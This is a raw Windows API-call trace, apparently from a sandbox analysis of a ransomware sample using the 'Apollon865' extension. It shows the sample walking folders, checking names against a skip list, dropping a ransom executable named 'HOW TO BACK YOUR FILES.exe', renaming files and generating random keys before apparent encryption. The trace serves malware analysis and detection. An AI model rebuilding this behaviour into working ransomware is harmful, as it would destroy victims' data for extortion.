	[0055.199] lstrlenW (lpString=".dll") returned 4
	[0055.199] lstrcmpiW (lpString1="Accra", lpString2=".dll") returned 1
	[0055.199] lstrlenW (lpString=".lnk") returned 4
	[0055.199] lstrcmpiW (lpString1="Accra", lpString2=".lnk") returned 1
	[0055.199] lstrlenW (lpString=".ini") returned 4
	[0055.199] lstrcmpiW (lpString1="Accra", lpString2=".ini") returned 1
	[0055.199] lstrlenW (lpString=".sys") returned 4
	[0055.199] lstrcmpiW (lpString1="Accra", lpString2=".sys") returned 1
	[0055.199] lstrlenW (lpString="Accra") returned 5
	[0055.200] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Addis_Ababa" | out: lpString1="Addis_Ababa") returned="Addis_Ababa"
	[0055.200] lstrlenW (lpString="Addis_Ababa") returned 11
	[0055.200] lstrlenW (lpString="Apollon865") returned 10
	[0055.200] lstrcmpiW (lpString1="ddis_Ababa", lpString2="Apollon865") returned 1
	[0055.200] lstrlenW (lpString=".dll") returned 4
	[0055.200] lstrcmpiW (lpString1="Addis_Ababa", lpString2=".dll") returned 1
	[0055.200] lstrlenW (lpString=".lnk") returned 4
	[0055.200] lstrcmpiW (lpString1="Addis_Ababa", lpString2=".lnk") returned 1
	[0055.200] lstrlenW (lpString=".ini") returned 4
	[0055.200] lstrcmpiW (lpString1="Addis_Ababa", lpString2=".ini") returned 1
	[0055.200] lstrlenW (lpString=".sys") returned 4
	[0055.200] lstrcmpiW (lpString1="Addis_Ababa", lpString2=".sys") returned 1
	[0055.200] lstrlenW (lpString="Addis_Ababa") returned 11
	[0055.200] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Algiers" | out: lpString1="Algiers") returned="Algiers"
	[0055.200] lstrlenW (lpString="Algiers") returned 7
	[0055.200] lstrlenW (lpString="Apollon865") returned 10
	[0055.200] lstrlenW (lpString=".dll") returned 4
	[0055.200] lstrcmpiW (lpString1="Algiers", lpString2=".dll") returned 1
	[0055.200] lstrlenW (lpString=".lnk") returned 4
	[0055.200] lstrcmpiW (lpString1="Algiers", lpString2=".lnk") returned 1
	[0055.200] lstrlenW (lpString=".ini") returned 4
	[0055.200] lstrcmpiW (lpString1="Algiers", lpString2=".ini") returned 1
	[0055.200] lstrlenW (lpString=".sys") returned 4
	[0055.200] lstrcmpiW (lpString1="Algiers", lpString2=".sys") returned 1
	[0055.200] lstrlenW (lpString="Algiers") returned 7
	[0055.200] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Asmara" | out: lpString1="Asmara") returned="Asmara"
	[0055.200] lstrlenW (lpString="Asmara") returned 6
	[0055.200] lstrlenW (lpString="Apollon865") returned 10
	[0055.201] lstrlenW (lpString=".dll") returned 4
	[0055.201] lstrcmpiW (lpString1="Asmara", lpString2=".dll") returned 1
	[0055.201] lstrlenW (lpString=".lnk") returned 4
	[0055.201] lstrcmpiW (lpString1="Asmara", lpString2=".lnk") returned 1
	[0055.201] lstrlenW (lpString=".ini") returned 4
	[0055.201] lstrcmpiW (lpString1="Asmara", lpString2=".ini") returned 1
	[0055.201] lstrlenW (lpString=".sys") returned 4
	[0055.201] lstrcmpiW (lpString1="Asmara", lpString2=".sys") returned 1
	[0055.201] lstrlenW (lpString="Asmara") returned 6
	[0055.201] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Bamako" | out: lpString1="Bamako") returned="Bamako"
	[0055.201] lstrlenW (lpString="Bamako") returned 6
	[0055.201] lstrlenW (lpString="Apollon865") returned 10
	[0055.201] lstrlenW (lpString=".dll") returned 4
	[0055.201] lstrcmpiW (lpString1="Bamako", lpString2=".dll") returned 1
	[0055.201] lstrlenW (lpString=".lnk") returned 4
	[0055.201] lstrcmpiW (lpString1="Bamako", lpString2=".lnk") returned 1
	[0055.201] lstrlenW (lpString=".ini") returned 4
	[0055.201] lstrcmpiW (lpString1="Bamako", lpString2=".ini") returned 1
	[0055.201] lstrlenW (lpString=".sys") returned 4
	[0055.201] lstrcmpiW (lpString1="Bamako", lpString2=".sys") returned 1
	[0055.201] lstrlenW (lpString="Bamako") returned 6
	[0055.201] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Bangui" | out: lpString1="Bangui") returned="Bangui"
	[0055.201] lstrlenW (lpString="Bangui") returned 6
	[0055.201] lstrlenW (lpString="Apollon865") returned 10
	[0055.201] lstrlenW (lpString=".dll") returned 4
	[0055.201] lstrcmpiW (lpString1="Bangui", lpString2=".dll") returned 1
	[0055.201] lstrlenW (lpString=".lnk") returned 4
	[0055.201] lstrcmpiW (lpString1="Bangui", lpString2=".lnk") returned 1
	[0055.201] lstrlenW (lpString=".ini") returned 4
	[0055.201] lstrcmpiW (lpString1="Bangui", lpString2=".ini") returned 1
	[0055.202] lstrlenW (lpString=".sys") returned 4
	[0055.202] lstrcmpiW (lpString1="Bangui", lpString2=".sys") returned 1
	[0055.202] lstrlenW (lpString="Bangui") returned 6
	[0055.202] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Banjul" | out: lpString1="Banjul") returned="Banjul"
	[0055.202] lstrlenW (lpString="Banjul") returned 6
	[0055.202] lstrlenW (lpString="Apollon865") returned 10
	[0055.202] lstrlenW (lpString=".dll") returned 4
	[0055.202] lstrcmpiW (lpString1="Banjul", lpString2=".dll") returned 1
	[0055.202] lstrlenW (lpString=".lnk") returned 4
	[0055.202] lstrcmpiW (lpString1="Banjul", lpString2=".lnk") returned 1
	[0055.202] lstrlenW (lpString=".ini") returned 4
	[0055.202] lstrcmpiW (lpString1="Banjul", lpString2=".ini") returned 1
	[0055.202] lstrlenW (lpString=".sys") returned 4
	[0055.202] lstrcmpiW (lpString1="Banjul", lpString2=".sys") returned 1
	[0055.202] lstrlenW (lpString="Banjul") returned 6
	[0055.202] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Bissau" | out: lpString1="Bissau") returned="Bissau"
	[0055.202] lstrlenW (lpString="Bissau") returned 6
	[0055.202] lstrlenW (lpString="Apollon865") returned 10
	[0055.202] lstrlenW (lpString=".dll") returned 4
	[0055.202] lstrcmpiW (lpString1="Bissau", lpString2=".dll") returned 1
	[0055.202] lstrlenW (lpString=".lnk") returned 4
	[0055.202] lstrcmpiW (lpString1="Bissau", lpString2=".lnk") returned 1
	[0055.202] lstrlenW (lpString=".ini") returned 4
	[0055.202] lstrcmpiW (lpString1="Bissau", lpString2=".ini") returned 1
	[0055.202] lstrlenW (lpString=".sys") returned 4
	[0055.202] lstrcmpiW (lpString1="Bissau", lpString2=".sys") returned 1
	[0055.203] lstrlenW (lpString="Bissau") returned 6
	[0055.203] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Blantyre" | out: lpString1="Blantyre") returned="Blantyre"
	[0055.203] lstrlenW (lpString="Blantyre") returned 8
	[0055.203] lstrlenW (lpString="Apollon865") returned 10
	[0055.203] lstrlenW (lpString=".dll") returned 4
	[0055.203] lstrcmpiW (lpString1="Blantyre", lpString2=".dll") returned 1
	[0055.203] lstrlenW (lpString=".lnk") returned 4
	[0055.203] lstrcmpiW (lpString1="Blantyre", lpString2=".lnk") returned 1
	[0055.203] lstrlenW (lpString=".ini") returned 4
	[0055.203] lstrcmpiW (lpString1="Blantyre", lpString2=".ini") returned 1
	[0055.203] lstrlenW (lpString=".sys") returned 4
	[0055.203] lstrcmpiW (lpString1="Blantyre", lpString2=".sys") returned 1
	[0055.203] lstrlenW (lpString="Blantyre") returned 8
	[0055.203] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Brazzaville" | out: lpString1="Brazzaville") returned="Brazzaville"
	[0055.203] lstrlenW (lpString="Brazzaville") returned 11
	[0055.203] lstrlenW (lpString="Apollon865") returned 10
	[0055.203] lstrcmpiW (lpString1="razzaville", lpString2="Apollon865") returned 1
	[0055.203] lstrlenW (lpString=".dll") returned 4
	[0055.203] lstrcmpiW (lpString1="Brazzaville", lpString2=".dll") returned 1
	[0055.203] lstrlenW (lpString=".lnk") returned 4
	[0055.203] lstrcmpiW (lpString1="Brazzaville", lpString2=".lnk") returned 1
	[0055.203] lstrlenW (lpString=".ini") returned 4
	[0055.203] lstrcmpiW (lpString1="Brazzaville", lpString2=".ini") returned 1
	[0055.203] lstrlenW (lpString=".sys") returned 4
	[0055.203] lstrcmpiW (lpString1="Brazzaville", lpString2=".sys") returned 1
	[0055.203] lstrlenW (lpString="Brazzaville") returned 11
	[0055.203] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Bujumbura" | out: lpString1="Bujumbura") returned="Bujumbura"
	[0055.203] lstrlenW (lpString="Bujumbura") returned 9
	[0055.203] lstrlenW (lpString="Apollon865") returned 10
	[0055.204] lstrlenW (lpString=".dll") returned 4
	[0055.204] lstrcmpiW (lpString1="Bujumbura", lpString2=".dll") returned 1
	[0055.204] lstrlenW (lpString=".lnk") returned 4
	[0055.204] lstrcmpiW (lpString1="Bujumbura", lpString2=".lnk") returned 1
	[0055.204] lstrlenW (lpString=".ini") returned 4
	[0055.204] lstrcmpiW (lpString1="Bujumbura", lpString2=".ini") returned 1
	[0055.204] lstrlenW (lpString=".sys") returned 4
	[0055.204] lstrcmpiW (lpString1="Bujumbura", lpString2=".sys") returned 1
	[0055.204] lstrlenW (lpString="Bujumbura") returned 9
	[0055.204] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Cairo" | out: lpString1="Cairo") returned="Cairo"
	[0055.204] lstrlenW (lpString="Cairo") returned 5
	[0055.204] lstrlenW (lpString="Apollon865") returned 10
	[0055.204] lstrlenW (lpString=".dll") returned 4
	[0055.204] lstrcmpiW (lpString1="Cairo", lpString2=".dll") returned 1
	[0055.204] lstrlenW (lpString=".lnk") returned 4
	[0055.204] lstrcmpiW (lpString1="Cairo", lpString2=".lnk") returned 1
	[0055.204] lstrlenW (lpString=".ini") returned 4
	[0055.204] lstrcmpiW (lpString1="Cairo", lpString2=".ini") returned 1
	[0055.204] lstrlenW (lpString=".sys") returned 4
	[0055.204] lstrcmpiW (lpString1="Cairo", lpString2=".sys") returned 1
	[0055.204] lstrlenW (lpString="Cairo") returned 5
	[0055.204] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Casablanca" | out: lpString1="Casablanca") returned="Casablanca"
	[0055.204] lstrlenW (lpString="Casablanca") returned 10
	[0055.204] lstrlenW (lpString="Apollon865") returned 10
	[0055.204] lstrlenW (lpString=".dll") returned 4
	[0055.204] lstrcmpiW (lpString1="Casablanca", lpString2=".dll") returned 1
	[0055.204] lstrlenW (lpString=".lnk") returned 4
	[0055.204] lstrcmpiW (lpString1="Casablanca", lpString2=".lnk") returned 1
	[0055.204] lstrlenW (lpString=".ini") returned 4
	[0055.204] lstrcmpiW (lpString1="Casablanca", lpString2=".ini") returned 1
	[0055.205] lstrlenW (lpString=".sys") returned 4
	[0055.205] lstrcmpiW (lpString1="Casablanca", lpString2=".sys") returned 1
	[0055.205] lstrlenW (lpString="Casablanca") returned 10
	[0055.205] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Ceuta" | out: lpString1="Ceuta") returned="Ceuta"
	[0055.205] lstrlenW (lpString="Ceuta") returned 5
	[0055.205] lstrlenW (lpString="Apollon865") returned 10
	[0055.205] lstrlenW (lpString=".dll") returned 4
	[0055.205] lstrcmpiW (lpString1="Ceuta", lpString2=".dll") returned 1
	[0055.205] lstrlenW (lpString=".lnk") returned 4
	[0055.205] lstrcmpiW (lpString1="Ceuta", lpString2=".lnk") returned 1
	[0055.205] lstrlenW (lpString=".ini") returned 4
	[0055.205] lstrcmpiW (lpString1="Ceuta", lpString2=".ini") returned 1
	[0055.205] lstrlenW (lpString=".sys") returned 4
	[0055.205] lstrcmpiW (lpString1="Ceuta", lpString2=".sys") returned 1
	[0055.205] lstrlenW (lpString="Ceuta") returned 5
	[0055.205] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Conakry" | out: lpString1="Conakry") returned="Conakry"
	[0055.205] lstrlenW (lpString="Conakry") returned 7
	[0055.205] lstrlenW (lpString="Apollon865") returned 10
	[0055.205] lstrlenW (lpString=".dll") returned 4
	[0055.205] lstrcmpiW (lpString1="Conakry", lpString2=".dll") returned 1
	[0055.205] lstrlenW (lpString=".lnk") returned 4
	[0055.205] lstrcmpiW (lpString1="Conakry", lpString2=".lnk") returned 1
	[0055.205] lstrlenW (lpString=".ini") returned 4
	[0055.205] lstrcmpiW (lpString1="Conakry", lpString2=".ini") returned 1
	[0055.205] lstrlenW (lpString=".sys") returned 4
	[0055.205] lstrcmpiW (lpString1="Conakry", lpString2=".sys") returned 1
	[0055.205] lstrlenW (lpString="Conakry") returned 7
	[0055.205] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Dakar" | out: lpString1="Dakar") returned="Dakar"
	[0055.205] lstrlenW (lpString="Dakar") returned 5
	[0055.206] lstrlenW (lpString="Apollon865") returned 10
	[0055.206] lstrlenW (lpString=".dll") returned 4
	[0055.206] lstrcmpiW (lpString1="Dakar", lpString2=".dll") returned 1
	[0055.206] lstrlenW (lpString=".lnk") returned 4
	[0055.206] lstrcmpiW (lpString1="Dakar", lpString2=".lnk") returned 1
	[0055.206] lstrlenW (lpString=".ini") returned 4
	[0055.206] lstrcmpiW (lpString1="Dakar", lpString2=".ini") returned 1
	[0055.206] lstrlenW (lpString=".sys") returned 4
	[0055.206] lstrcmpiW (lpString1="Dakar", lpString2=".sys") returned 1
	[0055.206] lstrlenW (lpString="Dakar") returned 5
	[0055.206] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Dar_es_Salaam" | out: lpString1="Dar_es_Salaam") returned="Dar_es_Salaam"
	[0055.206] lstrlenW (lpString="Dar_es_Salaam") returned 13
	[0055.206] lstrlenW (lpString="Apollon865") returned 10
	[0055.206] lstrcmpiW (lpString1="_es_Salaam", lpString2="Apollon865") returned -1
	[0055.206] lstrlenW (lpString=".dll") returned 4
	[0055.206] lstrcmpiW (lpString1="Dar_es_Salaam", lpString2=".dll") returned 1
	[0055.206] lstrlenW (lpString=".lnk") returned 4
	[0055.206] lstrcmpiW (lpString1="Dar_es_Salaam", lpString2=".lnk") returned 1
	[0055.206] lstrlenW (lpString=".ini") returned 4
	[0055.206] lstrcmpiW (lpString1="Dar_es_Salaam", lpString2=".ini") returned 1
	[0055.206] lstrlenW (lpString=".sys") returned 4
	[0055.206] lstrcmpiW (lpString1="Dar_es_Salaam", lpString2=".sys") returned 1
	[0055.206] lstrlenW (lpString="Dar_es_Salaam") returned 13
	[0055.207] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\security", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security"
	[0055.207] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0055.207] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0055.207] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned 45
	[0055.207] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security"
	[0055.207] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.207] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.215] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.215] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38fc1610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38fc1610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.215] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.215] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.215] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.215] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38fc1610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38fc1610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.215] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.215] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.215] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.215] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.215] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xad2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="blacklist", cAlternateFileName="BLACKL~1")) returned 1
	[0055.215] lstrcmpiW (lpString1="blacklist", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.215] lstrcmpiW (lpString1="blacklist", lpString2="Apollon865.txt.exe") returned 1
	[0055.215] lstrcmpiW (lpString1="blacklist", lpString2=".") returned 1
	[0055.215] lstrcmpiW (lpString1="blacklist", lpString2="..") returned 1
	[0055.215] lstrcmpiW (lpString1="blacklist", lpString2="windows") returned -1
	[0055.215] lstrcmpiW (lpString1="blacklist", lpString2="bootmgr") returned -1
	[0055.215] lstrcmpiW (lpString1="blacklist", lpString2="temp") returned -1
	[0055.215] lstrcmpiW (lpString1="blacklist", lpString2="pagefile.sys") returned -1
	[0055.216] lstrcmpiW (lpString1="blacklist", lpString2="boot") returned -1
	[0055.216] lstrcmpiW (lpString1="blacklist", lpString2="ids.txt") returned -1
	[0055.216] lstrcmpiW (lpString1="blacklist", lpString2="ntuser.dat") returned -1
	[0055.216] lstrcmpiW (lpString1="blacklist", lpString2="perflogs") returned -1
	[0055.216] lstrcmpiW (lpString1="blacklist", lpString2="MSBuild") returned -1
	[0055.216] lstrlenW (lpString="blacklist") returned 9
	[0055.216] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\*") returned 47
	[0055.216] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\management", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\management") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management"
	[0055.216] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0055.216] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0055.216] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\management") returned 47
	[0055.216] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\management") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management"
	[0055.216] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.216] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.227] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.227] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38fc1610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38fc1610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.228] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.228] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.228] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.228] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38fc1610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38fc1610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.228] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.228] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.228] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.228] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.228] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fc1610, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x38fc1610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.228] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.228] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jmxremote.access", cAlternateFileName="JMXREM~1.ACC")) returned 1
	[0055.228] lstrcmpiW (lpString1="jmxremote.access", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.228] lstrcmpiW (lpString1="jmxremote.access", lpString2="Apollon865.txt.exe") returned 1
	[0055.228] lstrcmpiW (lpString1="jmxremote.access", lpString2=".") returned 1
	[0055.228] lstrcmpiW (lpString1="jmxremote.access", lpString2="..") returned 1
	[0055.228] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.password.template.Apollon865") returned 86
	[0055.228] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\jmxremote.password.template"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.password.template.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\jmxremote.password.template.apollon865"), dwFlags=0x1) returned 1
	[0055.229] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.password.template.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\jmxremote.password.template.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0055.229] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2856) returned 1
	[0055.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0055.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0055.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0055.229] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0055.230] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0055.230] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0055.230] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe30, lpName=0x0) returned 0x15c
	[0055.232] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe30) returned 0x120000
	[0055.233] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0055.234] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0055.234] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0055.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0055.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0055.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0055.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0055.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0055.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0055.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0055.235] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0055.235] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0055.235] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0055.235] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0055.235] CloseHandle (hObject=0x15c) returned 1
	[0055.235] CloseHandle (hObject=0xc0) returned 1
	[0055.235] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0055.235] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
